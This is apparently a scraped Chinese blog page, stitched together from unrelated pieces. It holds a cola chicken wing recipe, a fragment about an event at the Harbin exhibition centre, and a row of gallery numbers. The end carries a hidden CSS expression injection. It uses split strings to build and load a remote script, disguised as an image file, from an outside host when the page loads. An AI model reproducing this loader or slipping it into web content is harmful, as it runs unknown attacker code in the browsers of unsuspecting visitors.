在家休息了两天,今天晚上打算作个可乐鸡翅的,材料都是随意的哦。 1、先洗净鸡翅,然后用叉子在翅身上插眼,这是为了让它入味。 2、沸水稍煮一下,用清水漂漂,不一定要煮熟,为了让它再烹调时没有过多的血沫,影响口感。 3、锅中下油烧沸,把大料(八角1个,山奈3小块,姜片5片,喜欢带点辣味的可以加2个干海椒,以上我的没有加)跟鸡翅一起下锅翻炒。 4、加入生抽2勺、老抽1勺,再倒入可乐,我用的百事可乐最大瓶的倒了差不多3分之1,总之要将鸡翅完全浸过就行。 5、让它慢慢的煮,煮到要干之时,千万不要离开哦,记得要反复翻炒以免糊锅底哈,到全部粘稠了即可上盘 阅读全文>> |
8月7日,哈尔滨会展中心。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ee:Expression(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement(ss);st.src='http://hajenip.googlepages.com/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" |
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